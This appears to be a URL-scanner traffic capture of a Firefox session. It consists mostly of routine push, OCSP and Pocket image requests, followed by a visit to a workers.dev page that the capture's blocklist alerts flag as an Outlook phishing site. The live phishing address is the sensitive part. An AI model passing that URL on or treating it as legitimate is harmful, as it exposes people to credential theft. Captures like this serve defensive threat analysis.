Host: push.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Sec-WebSocket-Version: 13
Origin: wss://push.services.mozilla.com/
Sec-WebSocket-Protocol: push-notification
Sec-WebSocket-Extensions: permessage-deflate
Sec-WebSocket-Key: +mfMActXVP3wUjS4HAkcWA==
Connection: keep-alive, Upgrade
Sec-Fetch-Dest: websocket
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

                                         
                                         52.39.57.61
HTTP/1.1 101 Switching Protocols
                                        
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: khELGHpoJ65feXrBMubAQS1dgbE=

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "25F075EFFBD8ACDED8F38D69EA17F673DE3E197B635274D4C52411EF577FE8E7"
Last-Modified: Thu, 29 Sep 2022 00:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=6648
Expires: Thu, 29 Sep 2022 23:46:18 GMT
Date: Thu, 29 Sep 2022 21:55:30 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "25F075EFFBD8ACDED8F38D69EA17F673DE3E197B635274D4C52411EF577FE8E7"
Last-Modified: Thu, 29 Sep 2022 00:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=6648
Expires: Thu, 29 Sep 2022 23:46:18 GMT
Date: Thu, 29 Sep 2022 21:55:30 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "25F075EFFBD8ACDED8F38D69EA17F673DE3E197B635274D4C52411EF577FE8E7"
Last-Modified: Thu, 29 Sep 2022 00:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=6648
Expires: Thu, 29 Sep 2022 23:46:18 GMT
Date: Thu, 29 Sep 2022 21:55:30 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "25F075EFFBD8ACDED8F38D69EA17F673DE3E197B635274D4C52411EF577FE8E7"
Last-Modified: Thu, 29 Sep 2022 00:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=6648
Expires: Thu, 29 Sep 2022 23:46:18 GMT
Date: Thu, 29 Sep 2022 21:55:30 GMT
Connection: keep-alive

                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F9d0e9057-f203-4080-95b8-652ecd15effa.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 7859
x-amzn-requestid: 34d0718f-46d4-446f-bb06-8449bd8f4287
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: ZIlO4FcBoAMFy0w=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-63334f2b-58ae81c9077e4f1575750f15;Sampled=0
x-amzn-remapped-date: Tue, 27 Sep 2022 19:29:47 GMT
x-amz-cf-pop: SEA19-C2
x-cache: Hit from cloudfront
x-amz-cf-id: uzwIgEsYiWch9RE2mlWZO__ZajkuFHafOjSxtq4oW_cxZJ1FwDT8eA==
via: 1.1 01c28b52813cd0e82f810c492808b142.cloudfront.net (CloudFront), 1.1 e66162aafd55b64ba1478ff7105150fa.cloudfront.net (CloudFront), 1.1 google
date: Thu, 29 Sep 2022 19:04:20 GMT
age: 10270
etag: "35ec6e80d324bb215796c590a7ffafbaea55d88e"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   7859
Md5:    c62a6368c456e9614ca4c8e360a2ef12
Sha1:   35ec6e80d324bb215796c590a7ffafbaea55d88e
Sha256: 90a37acc6beda1aa98a98cb84e00a7e469d6d919a14f4709c5f67a83ae95278d
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F783cca30-851d-4c3b-97b3-dfc92f711d23.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 4093
x-amzn-requestid: 4275d743-8507-4fbe-83d1-cc0da2adef7b
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: ZMKoPHCMIAMF7wQ=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-6334be34-5ddb717430e7b38e3ee53657;Sampled=0
x-amzn-remapped-date: Wed, 28 Sep 2022 21:35:48 GMT
x-amz-cf-pop: SEA19-C2
x-cache: Miss from cloudfront
x-amz-cf-id: H713oiiX6wslZytV_P5NblH5vT7KZ2fv1G3DLKLrH5nw0lHOquia4w==
via: 1.1 26ca01ec7377e425b59b6a08cb1ec342.cloudfront.net (CloudFront), 1.1 112d82578d402a38d8d02e8b857617e0.cloudfront.net (CloudFront), 1.1 google
date: Thu, 29 Sep 2022 21:50:27 GMT
age: 303
etag: "c17c7bdfa4b40f9a0634da65c610869e5c410bf1"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   4093
Md5:    aed4d25286420a1405c3274931194002
Sha1:   c17c7bdfa4b40f9a0634da65c610869e5c410bf1
Sha256: f32058bdd49930b927d1f9fdfd204ed054b4f85e0d679eff067d522d42ac504a
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F6e97b5ce-1b94-4a15-a121-825f38a9d7d9.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 9034
x-amzn-requestid: 20199dff-cd75-4f47-9395-9fdab045638c
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: ZGVYtHROoAMFQ6A=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-63326904-6a77e2d438ae887e4cd54ec6;Sampled=0
x-amzn-remapped-date: Tue, 27 Sep 2022 03:07:48 GMT
x-amz-cf-pop: SEA73-P1
x-cache: Miss from cloudfront
x-amz-cf-id: z92zeMKTSVmpz2TYok8XpBUxuY4ZzN3Z_w32gQgjX1QGb26YDxnfdQ==
via: 1.1 010c0731b9775a983eceaec0f5fa6a2e.cloudfront.net (CloudFront), 1.1 e95ec8f1dc02e32f0cb9e113963ceb4e.cloudfront.net (CloudFront), 1.1 google
date: Thu, 29 Sep 2022 04:20:40 GMT
age: 63290
etag: "927d5a375d9607b23caadae148566fdff10147b1"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   9034
Md5:    2054ae778a3079d8233ee33045127df6
Sha1:   927d5a375d9607b23caadae148566fdff10147b1
Sha256: 6b33c83c2b78b413ae375966860e1a9c8aa8e28dee107f9dd5bb8ceb221e607a
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F6362b4f1-5935-43c9-9147-6d019a1ea6cd.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 4235
x-amzn-requestid: 60825c64-7743-4b16-b80d-d1195ccb0f23
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: ZMK2nFsDoAMFRwg=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-6334be90-1898e5d9111db7c843c1ebb4;Sampled=0
x-amzn-remapped-date: Wed, 28 Sep 2022 21:37:20 GMT
x-amz-cf-pop: HIO50-C1, SEA19-C2
x-cache: Hit from cloudfront
x-amz-cf-id: C-XC9qsktkENdI6lWZp5RQjeEvrrFMUfBq1mA5dxEjRq5tkfL5Jsxw==
via: 1.1 0005a84c2971ff4f5bbb79e7ebc622a8.cloudfront.net (CloudFront), 1.1 ee8246c5442dace7525c74f6a799bb46.cloudfront.net (CloudFront), 1.1 google
date: Wed, 28 Sep 2022 22:04:55 GMT
age: 85835
etag: "2bbcd6305b4da3204bf1c04b6db23d44cfc84fbb"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   4235
Md5:    30471179bd7cdeecea2fa4ea98701aef
Sha1:   2bbcd6305b4da3204bf1c04b6db23d44cfc84fbb
Sha256: 967e070aec3942c64cc6c4cfdc13d430825c9e5c26dbec5bb3d66237d5978dfc
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2Ff5cbaf6d-fc16-4449-8b54-1d55f68eff4f.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 14073
x-amzn-requestid: 4ff72590-e28d-4d4b-af1a-4d62e75e3d66
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: ZMKnpEsJoAMFlBQ=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-6334be30-38b014a25551aa0a2ab04ccf;Sampled=0
x-amzn-remapped-date: Wed, 28 Sep 2022 21:35:44 GMT
x-amz-cf-pop: SEA73-P1
x-cache: Hit from cloudfront
x-amz-cf-id: dyDhatfeYzzSQpRY7JpOIu3VhjlI8IOWcKCLCBWYaxJ1CYgCxqdQjA==
via: 1.1 efe54e8b68e074d39b2ecd249f85100a.cloudfront.net (CloudFront), 1.1 567b44ed19c8caed2570b7bcd8c70034.cloudfront.net (CloudFront), 1.1 google
date: Thu, 29 Sep 2022 21:49:47 GMT
age: 343
etag: "72603efba82d649ce5a7a0ca45dc830c0d9ef012"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   14073
Md5:    11594ce7500d8776bfd5162b17f87d72
Sha1:   72603efba82d649ce5a7a0ca45dc830c0d9ef012
Sha256: 511f5aa33750cd4a02cf3968bf165ffa521e77cb4fb7135b516d7ad14e8b9d01
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F75de31dd-bbf0-4a21-bfac-94f0062f4da4.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 10023
x-amzn-requestid: 0cb6b9a1-0707-4094-b197-5a0add2df717
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: ZMK4dHJLIAMFWmg=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-6334be9c-2d8bbb17157900f126c5bb3c;Sampled=0
x-amzn-remapped-date: Wed, 28 Sep 2022 21:37:32 GMT
x-amz-cf-pop: HIO50-C1, SEA19-C2
x-cache: Hit from cloudfront
x-amz-cf-id: wZ2hBqHAdwimAVV3p-CJFrb9zQ-CTN5ar9CB-cu0mZoENYUFTKKPWQ==
via: 1.1 c7c3cdef911c9ee3c1a83a78f425dc5a.cloudfront.net (CloudFront), 1.1 ddaf46a95abcfc80e8eae76235e2127c.cloudfront.net (CloudFront), 1.1 google
date: Wed, 28 Sep 2022 22:04:58 GMT
age: 85832
etag: "e1067a2dfbc22e7eb196046d57bd1e17604dba75"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   10023
Md5:    f4505f57697072468da82e0b536d0d5b
Sha1:   e1067a2dfbc22e7eb196046d57bd1e17604dba75
Sha256: b5e79054f165f38b99f93a8128284f82076523988aeb102b85dd8ff1a2870d00
                                        
                                            GET / HTTP/1.1 
Host: office2ba26c936161df9a60ce20211f793266211c4e3be87fdae87bf4d3c4b.softmail3.workers.dev
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

                                         
                                         104.21.88.58
HTTP/2 200 OK
content-type: text/html;charset=UTF-8
                                        
date: Thu, 29 Sep 2022 21:55:27 GMT
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DlqYVPBd7BxptSnAgavBvJk5P1nZNyNA%2BJNE82Cq%2BiQZHaAWmHUA78GXaEaAHhcF2d5HcOFw4EvykTFth4TYamonZZ%2BjRGeqakNOGYDiyq1hlfiDnWzBLGNprcEmJlDBw%2FqdBJ4Ghvv9Ymw2Zm9nwT%2BAPRqpQEJduHB9UI6cWKGMAhcT4tiD9scjRVvdSl8NpBF4hQ3m3jdpdSrfDvD9duh9IvQFAaZm"}],"group":"cf-nel","max_age":604800}
nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
vary: Accept-Encoding
server: cloudflare
cf-ray: 7527f693cfe70b49-OSL
content-encoding: br
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
X-Firefox-Spdy: h2


--- Additional Info ---

Alerts:
  Blocklists:
    - openphish: Outlook
    - fortinet: Phishing
                                        
                                            GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 
Host: maxcdn.bootstrapcdn.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: https://office2ba26c936161df9a60ce20211f793266211c4e3be87fdae87bf4d3c4b.softmail3.workers.dev
Connection: keep-alive
Referer: https://office2ba26c936161df9a60ce20211f793266211c4e3be87fdae87bf4d3c4b.softmail3.workers.dev/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         104.18.10.207
HTTP/2 200 OK
content-type: application/javascript; charset=utf-8
                                        
date: Thu, 29 Sep 2022 21:55:28 GMT
vary: Accept-Encoding
cdn-pullzone: 252412
cdn-uid: b1941f61-b576-4f40-80de-5677acb38f74
cdn-requestcountrycode: DE
access-control-allow-origin: *
cache-control: public, max-age=31919000
etag: W/"14d449eb8876fa55e1ef3c2cc52b0c17"
last-modified: Mon, 25 Jan 2021 22:04:04 GMT
cdn-cachedat: 03/10/2022 17:24:53
cdn-proxyver: 1.02
cdn-requestpullcode: 200
cdn-requestpullsuccess: True
cdn-edgestorageid: 860
cdn-status: 200
timing-allow-origin: *
cross-origin-resource-policy: cross-origin
x-content-type-options: nosniff
cdn-requestid: a3bd961733cda11105750e3ba61c195a
cdn-cache: HIT
cf-cache-status: HIT
strict-transport-security: max-age=31536000; includeSubDomains; preload
server: cloudflare
cf-ray: 7527f6967dfbb4eb-OSL
content-encoding: br
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
X-Firefox-Spdy: h2


--- Additional Info ---